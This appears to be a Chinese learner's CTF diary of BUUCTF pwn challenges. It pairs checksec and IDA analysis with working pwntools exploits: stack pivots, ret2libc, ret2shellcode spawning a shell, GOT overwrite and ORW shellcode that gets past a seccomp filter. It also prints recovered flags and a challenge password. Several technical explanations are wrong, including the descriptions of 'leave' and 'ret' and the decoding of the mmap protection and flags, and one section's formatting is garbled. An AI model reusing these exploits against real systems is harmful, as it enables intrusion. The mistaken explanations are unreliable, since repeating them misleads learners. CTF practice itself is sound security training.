4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context.log_level = 'debug'


Debug = 1
if Debug == 1:
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_name)
one_gadget = 0x4f432
p = process("./borrowstack")
else:
libc_name = './libc-2.23.so'
libc = ELF(libc_name)
one_gadget = 0x4526a
p = remote("node3.buuoj.cn", 25202)

elf = ELF("./borrowstack")
bank_addr = 0x601080
leave_ret = 0x400699
pop_rdi_ret = 0x400703
csu_init_pop = 0x4006FA
csu_init_call = 0x4006E0

offset = 0x50
new_stack_sp = bank_addr + offset
payload1 = b'a'*0x60 + p64(new_stack_sp - 0x10) + p64(leave_ret)
p.recvuntil("Tell me what you want\n")
p.send(payload1)

p.recvuntil("Done!You can check and use your borrow stack now!\n")
payload2 = b'a'*(new_stack_sp-0x10 - bank_addr) + p64(0) + p64(pop_rdi_ret) + p64(elf.got['puts']) \
+ p64(elf.plt['puts'])+ p64(csu_init_pop) + p64(0) + p64(0) + p64(elf.got['read']) +p64(0x100) \
+ p64(new_stack_sp + 0x8*9) + p64(0) + p64(csu_init_call)
# gdb.attach(p)
p.sendline(payload2)
libc_base = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00')) - libc.sym['puts']
p.sendline(p64(libc_base + one_gadget) + p64(0) * 10)
# print(hex(libc_base + libc.sym['puts']))
p.interactive()

pwnable_start

2024.7.25

日常检查

image-20240725160741072

丢进ida里面

我靠。ida里面什么也没有?

欧克。仔细看就是分析汇编代码的题,也不长,分析一手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:08048060 ; __int64 start()
.text:08048060 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax ;eax为0
.text:08048068 xor ebx, ebx ;ebx为0
.text:0804806A xor ecx, ecx ; 一样
.text:0804806C xor edx, edx ; 一样
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
;这几个是把“Let's start the CTF:”字符入栈
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4 ;函数调用号为4,是write函数
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx ;ebx为0
.text:08048093 mov dl, 3Ch ; '<'
.text:08048095 mov al, 3 ;函数调用号为3,是read函数
.text:08048097 int 80h ; LINUX -sys_read
.text:08048099 add esp, 14h
.text:0804809C retn
1
2
3
4
5
6
//程序开始调用write函数输出“Let's start the CTF:”
//之后调用read函数
write(1,buf,0x14)
read (0,buf,0x3C)
//通过最后的add esp,14h 我们可以知道esp距离ret的地址0x14个字节(内平栈)
//也就是我们输入的参数buf的大小只有0x14,但是我们读入了0x3c,存在溢出漏洞

因为没开NX,所以直接传shellcode就行,打ret2shellcode

要往栈上写入shellcode,首先要知道栈上的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p=remote('node5.buuoj.cn',29136)
context(log_level = 'debug', arch = 'i386', os = 'linux')
gdb.attach(p)
pause()
payload=b'a'*(0x14)+p32(0x048087)
p.sendafter('CTF:',payload)
stack_addr=u32(p.recv(4))
print("stack_addr:"+hex(stack_addr))

shellcode = asm(shellcraft.sh())
payload1=flat([b'a'*0x14,(stack_addr+0x14),shellcode])
p.sendline(payload1)

p.interactive()

flag{2e79ebd9-939e-4b66-98a8-6341f3931c7b}

注意:sendafter和sendlineafter的区别

hitcontraining_heapcreator

2024.7.25

image-20240725191320621

日常检查

丢进ida里面看看

堆题。

放着!!

ciscn_2019_n_3

2024.7.26

日常检查

image-20240726155631577

丢进ida里面看一眼,感觉像绕canary的题

有system函数。为什么我这么废啊!!看一道题不会一道!!

堆题

jarvisoj_level5

2024.7.26

日常检查

image-20240726161257036

丢进ida里面

啊啊啊!~

write函数泄露libc基址,read函数溢出

我这种菜逼也只能练练这种简单题了!!

呕吼?64位的架构没见过!

64位函数的的调用过程:

首先将函数调用号传入rax,传参的时候分别是rdi,rsi,rdx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
from LibcSearcher import*

r=remote('node5.buuoj.cn',28426)
elf=ELF('./1111')

main_addr=0x40061a
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1
ret_addr=0x0000000000400499
write_got=elf.got['write']
write_plt=elf.plt['write']
mian_addr=elf.sym['main']

payload=b'a'*(0x80+8)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
r.recvuntil('\n')
r.sendline(payload)
write_addr=u64(r.recv(8))
#print hex(write_addr)

libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')
#print hex(offset)

system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

payload=b'a'*(0x80+8)+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.sendline(payload)
r.interactive()

flag{98e08766-b016-4bc5-965f-ff18fcbef3f6}

babyfengshui_33c3_2016

2024.7.28

日常检查

image-20240728103028928

有canary和NX保护,i386扔进ida里面看看

嘶!我是fw。嗯,在看看。放着!!!

pwnable_hacknote

2024.7.28

做到第三面。压力也是上来了

image-20240728104349082

ida

嗯~,跟上面的题型差不多,感觉是一种题型,总结一手,都是开了NX和canary保护

ok。上网搜一手,就怕是堆题

嗯,chunk

简单了解一下吧!!

ciscn_2019_es_7

2024.7.28

日常检查

image-20240728142436411

哇塞!格式化字符串!!

丢进ida里面看一眼

嘶,进去东西很少。

image-20240728142943041

这个倒是第一次见,read函数溢出,但是,plt表里面基本没有啥函数,泄露libc版本是肯定不行的。

猜测是re2csu来做的

上网搜了一手,其实不是。说是SROP

查看学习笔记。

picoctf_2018_got_shell

2024.7.29

日常检查

image-20240729203932365

丢进ida里面看一眼

进去看见,一个明显的后门!

嗯~找找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
_DWORD *v3; // [esp+14h] [ebp-114h] BYREF
int v4; // [esp+18h] [ebp-110h] BYREF
char s[256]; // [esp+1Ch] [ebp-10Ch] BYREF
unsigned int v6; // [esp+11Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
setvbuf(_bss_start, 0, 2, 0);
puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
__isoc99_scanf("%x", &v3);
sprintf(s, "Okay, now what value would you like to write to 0x%x", v3);
puts(s);
__isoc99_scanf("%x", &v4);
sprintf(s, "Okay, writing 0x%x to 0x%x", v4, v3);
puts(s);
*v3 = v4;
puts("Okay, exiting now...\n");
exit(1);
}

额,感觉没有啥明显的溢出漏洞。那就只能是格式化字符串吗?

不是格式化字符串也不是堆漏洞

那么我们就可以考虑一下逻辑的漏洞

我们看到v3是一个指针,我们可以向里面写地址(%x是以十六进制读入),然后我们也可以向v4里面写入地址。并且我们可以看到*v3 = v4这个操作。意味着我们可以将我们第二次输入的地址,写入第一次输入的地址中。
是不是想到了什么。.got表

我们看到该语句下面还有puts函数执行,那么我们就可以将v3写成puts got表的地址,将v4写成win函数的地址。这样就可以在调用puts函数时,实际调用 win函数了。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p=remote('node5.buuoj.cn',29116)

#elf=ELF('./1111')
puts_got=elf.got['puts']
win_addr=0x0804854B

p.sendlineafter("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?", hex(puts_got))
p.recv()
p.sendline(hex(win_addr))
p.interactive()

roarctf_2019_easy_pwn

2024.7.30

日常检查

image-20240730091606765

看着像堆题,yes,放着!

堆题

actf_2019_babystack

2024.8.5

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/actf_2019_babystack$ checksec 111
usage: pwn checksec [-h] [--file [elf ...]] [elf ...]
pwn checksec: error: argument elf: can't open '111': [Errno 2] No such file or directory: '111'
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/actf_2019_babystack$ checksec 1111
[*] '/home/llq/阿pwn/BUUCTF-pwn/actf_2019_babystack/1111'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/actf_2019_babystack$ chmod +x 1111
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/actf_2019_babystack$ ./1111
Welcome to ACTF's babystack!
ok
How many bytes of your message?
>Your message will be saved at 0x7fff6da9a230
What is the content of your message?
>Byebye~
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/actf_2019_babystack$

丢进ida里面看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[208]; // [rsp+0h] [rbp-D0h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
signal(14, handler);
alarm(0x3Cu);
memset(s, 0, sizeof(s));
puts("Welcome to ACTF's babystack!");
sleep(3u);
puts("How many bytes of your message?");
putchar(62);=====================>>>//输出“>”的意思
sub_400A1A();
if ( nbytes <= 224 )
{
printf("Your message will be saved at %p\n", s);
puts("What is the content of your message?");
putchar(62); //如上
read(0, s, nbytes);
puts("Byebye~");
return 0LL;
}
else
{
puts("I've checked the boundary!");
return 1LL;
}
}

看了一下好像没怎么找到栈溢出的地方。

嗯~fgets和read函数就可以溢出,但是有长度限制,只余下16字节只能把rbp和返回地址覆盖

栈迁移

利用指令leave指令和ret指令

1
2
3
4
5
6
leave:
mov rbp,rsp
pop rbp

ret:
pop rdi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import*
from LibcSearcher import*
#context(log_level='debug')
#p=process('./babystack')
p=remote('node5.buuoj.cn',28677)
elf=ELF('./1111')


puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
leave_ret=0x400a18
ret=0x400709
main=0x4008F6
pop_rdi=0x400ad3
ret=0x400709


p.sendlineafter(b'message?',b'224')
p.recvuntil(b'at ')
rsp=int(p.recv(14),16)
print(rsp)
rbp=rsp+0xd0
payload=b'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
#这里的8字节是填充缓冲区的说是,对齐返回地址说是,也p64(0)也行
payload=payload.ljust(0xd0,b'a')
payload+=p64(rsp)+p64(leave_ret)
p.sendafter(b'your message?',payload)


puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))



libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump("str_bin_sh")

p.sendlineafter(b'message?',b'224')
p.recvuntil(b'at ')
rsp=int(p.recv(14),16)
print(hex(rsp))
rbp=rsp+0xd0
payload=b'a'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
payload=payload.ljust(0xd0,b'a')
payload+=p64(rsp)+p64(leave_ret)
p.sendafter(b'your message?',payload)
p.interactive()

[极客大挑战 2019]Not Bad

2024.8.8

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/[极客大挑战 2019]Not Bad$ checksec 1111
[*] '/home/llq/阿pwn/BUUCTF-pwn/[极客大挑战 2019]Not Bad/1111'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/[极客大挑战 2019]Not Bad$ chmod +x 1111
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/[极客大挑战 2019]Not Bad$ ./1111
Easy shellcode, have fun!
ok
Baddd! Focu5 me! Baddd! Baddd!
错误的系统调用 (核心已转储)
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/[极客大挑战 2019]Not Bad$ ^C

ok,shellcode

丢进ida里面看看

嗯,有个简单的read溢出

1
2
3
4
5
6
7
8
int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Easy shellcode, have fun!");
read(0, buf, 56uLL);
return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

emmm ~在翻翻就会发现jmp rsp了

1
2
3
4
5
6
7
.text:00000000004009EE ; __unwind {
.text:00000000004009EE push rbp
.text:00000000004009EF mov rbp, rsp
.text:00000000004009F2 mov [rbp+var_4], 0
.text:00000000004009F9 mov [rbp+var_10], 0
.text:0000000000400A01 jmp rsp ; <<<-----------------------------------跳板指令
.text:0000000000400A01 sub_4009EE endp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#64位
from pwn import *

p=remote('node5.buuoj.cn',28108)
context(log_level='debug',arch='amd64',os='linux')

jump_esp=0x000000000400A01

shellcode = asm(shellcraft.sh())
print(len(shellcode))

payload=shellcode.ljust(0x28,b'\x00')+p32(jump_esp)
print (len(payload)) #

#payload+=asm("sub esp,52;call esp")

p.sendline(payload)
p.interactive()
###怎么说呢是不是写的长度不够
#肯定不够32-56=24
#明显不够

emmm~说实话,还是见的太少了

有一个沙盒过滤说是

首先看一下主函数

1
2
3
4
5
6
7
8
__int64 __fastcall main(int a1, char **a2, char **a3)
{
mmap(0x123000, 0x1000uLL, 6, 34, -1, 0LL);
sub_400949();
sub_400906();
sub_400A16();
return 0LL;
}

简单了解一下mmap函数

用户空间映射内存区域的系统调用。

它允许程序员将一个文件或者其他对象映射到进程的地址空间中。使用mmap可以进行文件映射、设备映射、匿名映射等操作,这使得内存管理更加灵活。

1
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

参数说明:

  1. addr: 指定映射区域的起始地址。如果为NULL或者0,则由系统选择映射区域的地址。

  2. length: 映射区域的长度。

  3. prot
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10

    **: 映射区域的保护方式,可以是以下几种方式的组合:**

    - **`PROT_EXEC`: 允许执行。**
    - **`PROT_READ`: 允许读取。**
    - **`PROT_WRITE`: 允许写入。**
    - **`PROT_NONE`: 不允许任何方式的访问。**

    4. ```
    flags
    **: 控制映射区域的特性,常见的标志有:** - **`MAP_SHARED`: 对映射区域的修改会反映到文件上。** - **`MAP_PRIVATE`: 对映射区域的修改不会反映到文件上,对文件的修改也不会反映到映射区域。** - **`MAP_ANONYMOUS`: 匿名映射,不与任何文件关联。** - **`MAP_FIXED`: 强制使用`addr`指定的地址。**
  4. fd: 被映射文件的文件描述符。如果是匿名映射,这个值通常是-1

  5. offset: 文件映射的起始位置,通常是文件大小的整数倍。

ok,题目中的意思是:

1
2
3
4
5
6
7
mmap(0x123000, 0x1000uLL, 6, 34, -1, 0LL);
//0x123000: 指定映射区域的起始地址。
//0x1000uLL: 映射区域的长度,这里是4096字节(1页大小)。
//6: 保护方式,这里可能是PROT_READ | PROT_WRITE。
//34: 映射标志,这里可能是MAP_SHARED和MAP_ANONYMOUS的组合。
//-1: 表示匿名映射,不与任何文件关联。
//0LL: 映射的文件偏移量,这里是从文件的开始处映射。

就是把从0x123000开始的地址,大小为0x1000的长度,权限改为可写可执行

看一下第一个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 sub_400949()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
return seccomp_load(v1);
}
//我一开始啥也看不懂
//后来看了一下系统调用号
//define __NR_read 0
//define __NR_write 1
//define __NR_open 2
//define __NR_exit 60
//这里就提示我们用ORW了

看一下有哪些函数可以调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/[极客大挑战 2019]Not Bad$ seccomp-tools dump  ./1111
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/[极客大挑战 2019]Not Bad$

这里提示的就跟明显了 就ORW了

ORW

第二个函数就是

1
2
3
4
5
6
7
void sub_400906()
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
}
//就是应该初始化
1
2
3
4
5
#先写ORW的shellcode
mmap=0x123000
orw_payload=shellcraft.open('./flag') #打开根目录下的flag文件
orw_payload+=shellcraft.read(3,mmap,0x50) #读取文件标识符是3的文件0x50个字节存放到mmap分配的地址空间里
orw_payload+=shellcraft.write(1,mmap,0x50) #将mmap地址上的内容输出0x50个字节

下来写一下buf里的rop攻击链
buf里的rop攻击链要完成的任务是往mmap里写入orw_payload,让程序跳转到mmap去执行orw_payload,确定目的后开始写rop攻击链

1
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context.arch='amd64'

elf = ELF('./bad')
p = remote('node5.buuoj.cn',27472)


mmap=0x123000
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)

jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)


shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()

image-20240810102325568

一知半解的情况

ciscn_2019_es_1

2024.8.8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/ciscn_2019_es_1$ checksec 1111
[*] '/home/llq/阿pwn/BUUCTF-pwn/ciscn_2019_es_1/1111'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/ciscn_2019_es_1$ chmod +x 1111
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/ciscn_2019_es_1$ ./1111
I hate 2.29 , can you understand me?
maybe you know the new libc
======================
How are you ~~~~
By the way,i don't want 996 !
1.Add a 996 info
2.Show info
3.Call that 996 compary!
4.I hate 996!
choice:r
Wrong
======================
How are you ~~~~
By the way,i don't want 996 !
1.Add a 996 info
2.Show info
3.Call that 996 compary!
4.I hate 996!
choice:^C
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/ciscn_2019_es_1$

嘶!看上去像

堆题

yes!!

先放着!!!!!!!

picoctf_2018_leak_me

2024.8.10

1
2
3
4
5
6
7
8
9
10
11
12
13
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_leak_me$ checksec 1111
[*] '/home/llq/阿pwn/BUUCTF-pwn/picoctf_2018_leak_me/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_leak_me$ chmod +x 1111
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_leak_me$ ./1111
What is your name?
aaaa
Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_leak_me$

丢进ida里面看看

看见了后门说是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[64]; // [esp+0h] [ebp-194h] BYREF
char v5[256]; // [esp+40h] [ebp-154h] BYREF
char s[64]; // [esp+140h] [ebp-54h] BYREF
FILE *stream; // [esp+180h] [ebp-14h]
char *v8; // [esp+184h] [ebp-10h]
__gid_t v9; // [esp+188h] [ebp-Ch]
int *p_argc; // [esp+18Ch] [ebp-8h]

p_argc = &argc;
setvbuf(stdout, 0, 2, 0);
v9 = getegid(); //获取id的不知道有没有用
setresgid(v9, v9, v9);
memset(s, 0, sizeof(s));
memset(v5, 0, sizeof(v5));
memset(s1, 0, sizeof(s1));
puts("What is your name?");
fgets(v5, 256, stdin);
v8 = strchr(v5, 10); //判断回车的
if ( v8 )
*v8 = 0;
strcat(v5, ",\nPlease Enter the Password.");
stream = fopen("password.txt", "r");
if ( !stream )
{
puts(
"Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(s, 64, stream);
printf("Hello ");
puts(v5);
fgets(s1, 64, stdin);
v5[0] = 0;
if ( !strcmp(s1, s) )
flag(p_argc);
else
puts("Incorrect Password!");
return 0;
}

分析一下主函数

嗯我们要的也很简单就是满足条件就可以执行flag(p_argc)函数就行了

但是呢,这个第一个条件都过不去

1
2
3
4
5
6
7
8
9
stream = fopen("password.txt", "r");
if ( !stream )
{
puts(
"Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
//就是检查是否有这个password文件的
//我创建一个看看

ok,绕过第一个

再看后面的好像就是

只要满足

1
strcmp(s1, s)

就行了,再看一手,这两都是自己输进去的想着,这不就结束了?

结果仔细看一下第一个输入

1
fgets(s, 64, stream);

示例
假设 stream 是一个指向包含以下内容的文件的指针:

1
2
//Hello, World!
//This is a test.

并且你使用 fgets(s, 64, stream); 来读取第一行:

执行结果:s 将包含 “Hello, World!\n”,因为这是文件中的第一行,包括换行符 \n。
缓冲区内容:s 缓冲区将包含字符串 “Hello, World!\n”,并以空字符 ‘\0’ 结束。
总结:
fgets(s, 64, stream); 读取文件 stream 中的内容到字符串 s 中,最多读取 63 个字符或者遇到换行符时停止。这是一个安全的读取函数,适合用来处理不确定长度的文本输入或文件读取。

ok,这回明白了,我们往我们创建的那个文件里输入

1
2
aaaa\n
bbbb

当我在第三个输入的时候输入aaaa应该就可以执行了

为啥输出的是

1
puts("Incorrect Password!");

脚本跑一下看看

1
2
3
4
5
6
7
8
9
from pwn import *
r=remote('node5.buuoj.cn',29631)

r.sendlineafter('What is your name?','yt')
#gdb.attach(r)
#pause
r.recvuntil('\nPlease Enter the Password.')
r.send('aaaa')
r.interactive()

打通了但是没flag

ok,看见了flag函数里面也得接一段

也不用接

看了一手wp,我就是sb

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = remote("node5.buuoj.cn",29631)

password = "a_reAllY_s3cuRe_p4s$word_f85406"
p.sendlineafter("What is your name?\n","A")
p.sendlineafter("Please Enter the Password.\n",password)

p.interactive()



1
2
3
4
5
6
7
8
9
10
from pwn import *
r=remote('node5.buuoj.cn',26775)

r.recvuntil('What is your name?\n')
#payload=b'a'*0x100
r.sendline('yt')
r.recvuntil('Please Enter the Password.\n')
password='a_reAllY_s3cuRe_p4s$word_f85406'
r.sendline(password)
r.interactive()

suctf_2018_basic pwn

2024.8.12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/suctf_2018_basic pwn$ checksec 1111
[*] '/home/llq/阿pwn/BUUCTF-pwn/suctf_2018_basic pwn/1111'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/suctf_2018_basic pwn$ chmod +x 1111
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/suctf_2018_basic pwn$ ./1111
aaa
Hi aaa
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/suctf_2018_basic pwn$ ^C
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/suctf_2018_basic pwn$

地址随机化和NX都开了

丢进ida里面看看

看见了后门好像

1
2
3
4
5
6
7
8
9
int callThisFun(void)
{
char *path[4]; // [rsp+0h] [rbp-20h] BYREF

path[0] = "/bin/cat";
path[1] = "flag.txt";
path[2] = 0LL;
return execve("/bin/cat", path, 0LL);
}

漏洞没发现

还开了随机化,那怎么溢出呢?

操了,relro是意思把got表变为只读,并不是地址随机化

地址随机化是pie

所以说就是正常的后门是这个意思吗?

1
2
3
4
5
from pwn import*
p=remote('node5.buuoj.cn', 27950)
payload=b'A'*(0x120+8)+p64(0x000000000401157)
p.sendline(payload)
p.interactive()

cmcc_pwnme1

2024.8.13

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/cmcc_pwnme1$ checksec 1111
[*] '/home/llq/阿pwn/BUUCTF-pwn/cmcc_pwnme1/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/cmcc_pwnme1$ chmod +x 1111
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/cmcc_pwnme1$ ./1111
Welcome
ok...here is a question: which fruit do you like ?
Please input your choice:
>> 1.Apple
>> 2.Pear
>> 3.Balana
>> 4.Peach
>> 5.All not? Input the name ?
>> 6. Exit

ok。丢进ida里面看看

栈溢出?

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
p=remote('node5.buuoj.cn', 27962)
#p=process('./1111')


p.recvuntil('\n')
p.sendline('5')
p.recvuntil('Please input the name of fruit:')

payload=b'A'*(0xa4+4)+p64(0x08048677)
p.sendline(payload)
p.interactive()

跑不通

1
2
3
4
5
6
7
8
9
10
11
oh,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw\x86\x0...
[DEBUG] Received 0x3a bytes:
b'Yeah, you got it...\n'
b'/home/flag: No such file or directory\n'
Yeah, you got it...
/home/flag: No such file or directory
[DEBUG] Received 0x2b bytes:
b'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$

肯定没那么简单的拉

是个假后门拉

ret2libc这么做的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import*
from LibcSearcher import *

p=remote('node5.buuoj.cn', 27962)
#p=process('./1111')
elf = ELF('./1111')

#params
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']

#attack1
p.recvuntil('Exit')
p.sendline('5')
p.recvuntil('Please input the name of fruit:')

payload=b'a'*(0xa4+4)+p32(puts_plt)+p32(main)+p32(puts_got)
p.sendline(payload)
#puts_addr=u32(p.recv(4))
puts_addr=u32(p.recvuntil(b'\xf7')[-4:])
#libic
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts') #计算偏移量#偏移量=程序里的函数地址-libc里的函数地址
system_addr=offset+libc.dump('system')
bin_addr=offset+libc.dump('str_bin_sh')

#attack2
p.recvuntil('Exit')
p.sendline('5')
p.recvuntil('Please input the name of fruit:')

payload=b'a'*(0xa4+4)+p32(system_addr)+p32(0)+p32(bin_addr)
p.sendline(payload)
p.interactive()

wustctf2020_easyfast

2024.8.13

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/wustctf2020_easyfast$ checksec 1111
[*] '/home/llq/阿pwn/BUUCTF-pwn/wustctf2020_easyfast/1111'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/wustctf2020_easyfast$ chmod +x 1111
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/wustctf2020_easyfast$ ./1111
